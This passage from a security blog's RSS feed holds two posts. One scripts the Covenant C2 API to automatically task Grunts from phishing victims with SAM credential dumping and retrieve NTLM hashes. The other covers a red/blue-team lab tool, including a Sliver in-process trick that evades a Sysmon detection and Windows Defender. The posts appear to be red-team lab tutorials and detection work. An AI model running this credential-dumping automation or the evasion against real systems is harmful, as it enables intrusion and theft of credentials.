timedelta<br>import requests, base64, json, datetime<br><br>url = &#39;https://172.16.0.254:7443/api&#39;<br><br># Swagger UI Authorization<br>def getToken():<br>    headers = { &quot;Content-Type&quot; : &quot;application/json-patch+json&quot; }<br>    data = { &quot;userName&quot;: &quot;hacksplaining&quot;, &quot;password&quot;: &quot;Password123!&quot; }<br><br>    r = requests.post(f&#39;{url}/users/login&#39;, headers=headers, data=json.dumps(data), verify=False)<br>    token = r.json()[&#39;covenantToken&#39;]<br>    return token<br><br>COVENANT_TOKEN = getToken()<br><br>headers = { &quot;Authorization&quot; : f&quot;Bearer {COVENANT_TOKEN}&quot;,<br>            &quot;Content-Type&quot; : &quot;application/json&quot; }</pre><h4><strong>Basic Functions</strong></h4><p>With our newly minted token, we can start making requests. The first is a simple <em>EventApi </em>request to return all events that appear in the UI like “Created User”, “Started Listener”, or “Grunt Activated”.</p><pre>def getEvents():   <br>    events = requests.get(f&quot;{url}/events&quot;, headers=headers, verify=False)<br>    return events.json()<br><br>getEvents()<br><br>#---OUTPUT---<br>[{&#39;id&#39;: 1,<br>  &#39;time&#39;: &#39;2023-02-19T15:12:56.6814623&#39;,<br>  &#39;messageHeader&#39;: &#39;Created User&#39;,<br>  &#39;messageBody&#39;: &#39;User: 174697e2-8c7e-e26f-5929-7d5c11c62cbd with roles:  has been created!&#39;,<br>  &#39;level&#39;: &#39;info&#39;,<br>  &#39;type&#39;: &#39;normal&#39;,<br>  &#39;context&#39;: &#39;Users&#39;},<br> {&#39;id&#39;: 2,<br>  &#39;time&#39;: &#39;2023-02-19T15:12:56.7696699&#39;,<br>  &#39;messageHeader&#39;: &#39;Started Listener&#39;,<br>  &#39;messageBody&#39;: &#39;Started Listener: http&#39;,<br>  &#39;level&#39;: &#39;highlight&#39;,<br>  &#39;type&#39;: &#39;normal&#39;,<br>  &#39;context&#39;: &#39;*&#39;},<br> {&#39;id&#39;: 3,<br>  &#39;time&#39;: &#39;2023-02-19T15:21:22.6162135&#39;,<br>  &#39;messageHeader&#39;: &#39;Grunt Activated&#39;,<br>  &#39;messageBody&#39;: &#39;Grunt: ce65157603 from: win10 has been activated!&#39;,<br>  &#39;level&#39;: &#39;highlight&#39;,<br>  &#39;type&#39;: &#39;normal&#39;<br>  &#39;context&#39;: &#39;*&#39;}]</pre><p>Once a Grunt has been activated, we can query <strong>/grunts</strong><em> </em>for details.</p><pre>def getGrunts():   <br>    grunts = requests.get(f&quot;{url}/grunts&quot;, headers=headers, verify=False)<br>    return grunts.json()<br><br>getGrunts()<br><br>#---OUTPUT---<br>{&#39;id&#39;: 1,<br>  &#39;name&#39;: &#39;ce65157603&#39;,<br>  &#39;originalServerGuid&#39;: &#39;e92abbe104&#39;,<br>  &#39;guid&#39;: &#39;bdf742ec38&#39;,<br>  &#39;children&#39;: [],<br>  &#39;implantTemplateId&#39;: 1,</pre><p>I’ll individually query a specific Grunt by ‘name’ via <strong>/grunts/{name}</strong>. This is especially useful if the console has a history of Grunts, sense requesting all Grunts will return a lot of data.</p><pre>def getGrunts():<br>    grunts = requests.get(f&quot;{url}/grunts&quot;, headers=headers, verify=False)<br>    return grunts.json()<br><br>for grunt in getGrunts():<br>    print(grunt[&#39;name&#39;])<br><br>#---OUTPUT---<br>ce65157603<br><br>def gruntName(name):<br>    grunt = requests.get(f&quot;{url}/grunts/{name}&quot;, headers=headers, verify=False)<br>    return grunt.json()<br><br>gruntName(&quot;ce65157603&quot;)</pre><p>Once a Grunt has been activated, we’ll want to conduct some post-exploitation actions against the target host. We can review the available tasks with the function below.</p><pre>def availableTasks():<br>    availableTasks = requests.get(f&#39;{url}/grunttasks&#39;, headers=headers, verify=False)<br>    return availableTasks.json()<br><br>for task in availableTasks():<br>    print(task[&#39;name&#39;])<br><br>#---OUTPUT---<br>MakeToken<br>GetSystem<br>ImpersonateProcess<br>ImpersonateUser<br>BypassUACGrunt<br>BypassUACCommand<br>RevertToSelf<br>LogonPasswords<br>LsaSecrets<br>LsaCache<br>SamDump<br>Wdigest<br>DCSync<br>Mimikatz<br>SafetyKatz<br>GetNetSession<br>...</pre><h4>Example</h4><p>We’ve just sent out some phishing emails with an attached malicious executable (Grunt), and our goal is to dupe the recipient to “Run as Administrator”. While we’re working on some other tasks, we can interact with any new activated Grunts automatically, if our phishing is successful.</p><p>The Python script below will run in a loop waiting for any new “Grunt Activated” events, check if the Grunt’s integrity level is set to “high” (based on our “Run as an Administrator” phishing context, and will then task the Grunt to dump the local SAM database. For each success, <em>New SAM entry for &lt;name&gt;</em> will be written to the console.</p><pre>import requests, base64, json<br><br># FOR TESTING ONLY; a valid TLS certificate should be used.<br>from requests.packages.urllib3.exceptions import InsecureRequestWarning<br>requests.packages.urllib3.disable_warnings(InsecureRequestWarning)<br><br>url = &#39;https://192.168.86.29:7443/api&#39;<br><br># Swagger UI Authorization<br>def getToken():<br>    headers = { &quot;Content-Type&quot; : &quot;application/json-patch+json&quot; }<br>    data = { &quot;userName&quot;: &quot;hacksplaining&quot;, &quot;password&quot;: &quot;Password123!&quot; }<br><br>    r = requests.post(f&#39;{url}/users/login&#39;, headers=headers, data=json.dumps(data), verify=False)<br>    token = r.json()[&#39;covenantToken&#39;]<br>    return token<br><br>COVENANT_TOKEN = getToken()<br><br>headers = { &quot;Authorization&quot; : f&quot;Bearer {COVENANT_TOKEN}&quot;,<br>            &quot;Content-Type&quot; : &quot;application/json&quot; }<br><br>#--------------------------------------------------------------------------<br>def returnGrunt(name):<br>    grunt = requests.get(f&quot;{url}/grunts/{name}&quot;, headers=headers, verify=False)<br>    return grunt.json()[&#39;id&#39;]<br><br>def interact(name, task):<br>    grunt_id = returnGrunt(name)<br>    payload = f&quot;\&quot;{task}\&quot;&quot;<br>    <br>    output = requests.post(f&#39;{url}/grunts/{grunt_id}/interact&#39;, headers=headers, data=payload, verify=False)<br>    return output.json()<br><br>def getGrunts():   <br>    grunts = requests.get(f&quot;{url}/grunts&quot;, headers=headers, verify=False)<br>    return grunts.json()<br>#--------------------------------------------------------------------------<br><br>completed = []<br>while True:<br>    grunts = getGrunts()<br><br>    for grunt in grunts:<br><br>        # Only returns Grunt information for defined datetime<br>        if grunt[&#39;activationTime&#39;] &gt; str(datetime.date.today()):<br>            if grunt[&#39;status&#39;] == &#39;active&#39;:<br>                if grunt[&#39;integrity&#39;] in [&quot;high&quot;, &quot;system&quot;]:<br>                    if not grunt[&#39;name&#39;] in completed:<br>                        print(f&quot;New SAM entry for {grunt[&#39;name&#39;]}&quot;)<br>                        <br>                        # Task Grunt with SamDump<br>                        interact(grunt[&#39;name&#39;], &#39;SamDump&#39;)<br>                        <br>                        # Append to completed to prevent duplicate tasks.<br>                        completed.append(grunt[&#39;name&#39;])<br>    <br>    time.sleep(60)</pre><p>Our payload was executed two times; once as a standard user, and then as Administrator. The script output shows a single entry for <em>1f4003a6c6</em>.</p><pre>New SAM entry for 1f4003a6c6</pre><p>If we run <em>getEvents()</em> again, two new “Grunt Activated” events are listed.</p><pre>{‘id’: 8,<br>  ‘time’: ‘2023-02-20T16:19:55.4554284&#39;,<br>  ‘messageHeader’: ‘Grunt Activated’,<br>  ‘messageBody’: ‘Grunt: 1c21c3ebf8 from: win10 has been activated!’,<br>  ‘level’: ‘highlight’,<br>  ‘type’: ‘normal’,<br>  ‘context’: ‘*’},<br> {‘id’: 9,<br>  ‘time’: ‘2023-02-20T16:20:02.5600748&#39;,<br>  ‘messageHeader’: ‘Grunt Activated’,<br>  ‘messageBody’: ‘Grunt: 1f4003a6c6 from: win10 has been activated!’,<br>  ‘level’: ‘highlight’<br>  &#39;type&#39;: &#39;normal&#39;,<br>  &#39;context&#39;: &#39;*&#39;}]</pre><p>The events can be seen in the Covenant UI as well. <em>1f4003a6c6 </em>was ran as the Administrator account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFpONl35eSP7KJ_JoVyTGw.png" /></figure><p>Only a single entry for<em> </em>the Task <em>SamDump</em> is listed under GruntTaskings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ocyAXvruXIGx6WqMGQxHA.png" /></figure><p>With the <em>SamDump</em> task completed , we can query the credentials dumped from the SAM db via <strong>/credentials</strong>. Here we see the ntlm hash for the local user ‘hacksplaining’.</p><pre>def getCredentials():<br>    creds = requests.get(f&quot;{url}/credentials&quot;, headers=headers, verify=False)<br>    return creds.json()<br><br>getCredentials()<br><br>#---OUTPUT---<br>{&#39;hashCredentialType&#39;: &#39;ntlm&#39;,<br>  &#39;hash&#39;: &#39;2b576acbe6bcfda7294d6bd18041b8fe&#39;,<br>  &#39;id&#39;: 2,<br>  &#39;type&#39;: &#39;hash&#39;,<br>  &#39;domain&#39;: &#39;WIN10&#39;,<br>  &#39;username&#39;: &#39;hacksplaining&#39;}</pre><p>There are many ways to interact with Covenant via the Swagger UI. Below are the categories of endpoints that can be queried.</p><p>CommandOutputApi<br>CovenantUserApi<br>CredentialApi<br>EmbeddedResourceApi<br>EventApi<br>GruntApi<br>GruntCommandApi<br>GruntTaskApi<br>GruntTaskingApi<br>ImplantTemplateApi<br>IndicatorApi<br>LauncherApi<br>ListenerApi<br>ProfileApi<br>ReferenceAssemblyApi<br>ReferenceSourceLibraryApi<br>ThemeApi</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=585c69549980" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tripwire — A [red|purple|blue] team lab orchestration tool]]></title>
            <link>https://medium.com/@hacksplaining/tripwire-a-red-purple-blue-team-lab-orchestration-tool-e54e41538bd9?source=rss-6283e979b6cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e54e41538bd9</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[hacksplaining]]></dc:creator>
            <pubDate>Wed, 08 Feb 2023 18:38:20 GMT</pubDate>
            <atom:updated>2023-05-12T17:16:48.966Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tripwire — [red|purple|blue] team detection lab orchestration</h3><p>Python version: <a href="https://medium.com/@hacksplaining/a-new-tripwire-but-in-python-96a5f5b33a3f">https://medium.com/@hacksplaining/a-new-tripwire-but-in-python-96a5f5b33a3f</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IEblrm3yUjJokS_wN1GPWg.png" /></figure><p><strong>Tripwire</strong> is a virtual machine orchestration script, designed to supplement r<em>ed</em>|p<em>urple</em>|b<em>lue</em> team lab environments. It utilizes VMware Workstation’s <strong>vmrun.exe</strong> (Virtual machine automation tool) to provide the user additional methods of control, like automatically starting and stopping VMs, print network and resource usage information, and reset VMs to a “known good state” via snapshots. Beyond the automation, “Red Ranger” will monitor ELK Security Alerts and prompt you with any tripped detections… hence the name <em>Tripwire</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*3qc6xzNMWokwRkc9OvP2ow.png" /></figure><p><a href="https://github.com/gregohmyeggo/Tripwire">https://github.com/gregohmyeggo/Tripwire</a></p><h3>How is Tripwire used?</h3><p>As with many Red Team engagements, custom tooling and certain techniques may be required per the given objectives. During the testing and development phase of an engagement, I would execute an attack and run tools in a lab environment, sleuth through ELK logs, and write a few detection rules for the techniques. This works, but I found pivoting back and forth from my team server’s console, dashboards, and logs was distracting. I needed a way to easily track the residual artifacts from techniques I was designing for Red Team engagements, while attempting to evade my own detections.</p><h4>Example</h4><p>Sliver’s default <em>execute-assembly</em> configuration will spawn a sacrificial process (notepad.exe) and then inject the assembly code into the process.</p><p>The screenshot below shows three separate executions of a Sliver binary named beacon.exe. One with Windows Defender disabled, and then two with both Real-time protection and Cloud-delivered protection enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fotDF-w20w5ZLC4JNumhdA.png" /></figure><h4>Iteration 1</h4><p>I launched beacon.exe and then ran the execute-assembly command. Here is the associated Sysmon “CreateRemoteThread” (event id 8) event:</p><pre>CreateRemoteThread detected:<br>RuleName: technique_id=T1055,technique_name=Process Injection<br>UtcTime: 2023-02-07 18:21:47.499<br>SourceProcessGuid: {78b18240-9f5d-63e2-4307-000000000c00}<br>SourceProcessId: 5884<br>SourceImage: C:\Users\hannib\Downloads\beacon.exe<br>TargetProcessGuid: {78b18240-9fa3-63e2-4807-000000000c00}<br>TargetProcessId: 3956<br>TargetImage: C:\Windows\System32\notepad.exe<br>NewThreadId: 5224<br>StartAddress: 0x0000025903210000<br>StartModule: -<br>StartFunction: -<br>SourceUser: TRIPWIRE\hannib<br>TargetUser: TRIPWIRE\hannib</pre><p>Using the Sysmon event data, I created a new Security Alert in ELK named: <em>CreateRemoteThread to notepad.exe; default Sliver artifact</em>, searching for <em>event.code: </em><strong>8</strong> AND the <em>TargetImage: </em><strong>notepad.exe</strong>, and then ran the same command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*tn8S6IXJNnxJkitOA8-btg.png" /></figure><p>This time, <em>Red Ranger</em> saw the alert, and the returned the detection information. It’s working as planned.</p><h4>Iteration 2</h4><p>Now let’s run the same technique, but this time with Windows Defender (Real-time protection and Cloud-delivered protection) enabled. Running beacon.exe bypassed Windows Defender, and wasn’t interrupted until we spawned the sacrificial “notepad” process, due to a “Behavior” detection.</p><p>The new Sysmon alert was also triggered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*iztx6ikU9v89dFSTwcCsyw.png" /></figure><p>Specifying a <em>hosting process to inject into</em> with the <strong>-p </strong>or <strong>— process</strong> flag will also get blocked by Windows Defender.</p><h4>Iteration 3</h4><p>Our last test we’ll want to try and bypass alerts seen by Red Ranger. This time I’ll run execute-assembly with the — <strong>in-process</strong> flag, which enables the assembly to <em>Run in the current sliver process</em>. Defender doesn’t seem to mind this action, and our beacon lives on. The sacrificial process doesn’t get spawned and our detection is bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*cgCYpE1uxSh6-AxC92hl6Q.png" /></figure><h3>Is there really a need?</h3><p>Sure, you could just look at the Security Alerts page in ELK and view any dashboards that have been created, or even search the logs directly. There is nothing wrong with that approach, and I’ll do that at certain points while testing.</p><p>One benefit to using Tripwire, was how I could customize the output when an alert was triggered, and even orchestrate different groups of virtual machines to run at a given time or based on a specific configuration. Sometimes, I just want to see the alert name and the culprit file for the alert, but for others I may want only certain artifacts or a general “informational” notice of an action.</p><p>Recently, I added a line to the script to play the Metal Gear Solid ‘alert’ sound when Red Ranger prompts the first triggered alert. It doesn’t add any real benefit beyond ‘shock factor’, but the initial alert could be the tipping point during an operation.</p><h3>Future capabilities</h3><p>I am constantly modifying the script with new capabilities, and planning to include things like: attack-detection “scenarios”, a scoring feature, and OPSEC recommendations.</p><p><a href="https://github.com/gregohmyeggo/Tripwire">https://github.com/gregohmyeggo/Tripwire</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e54e41538bd9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>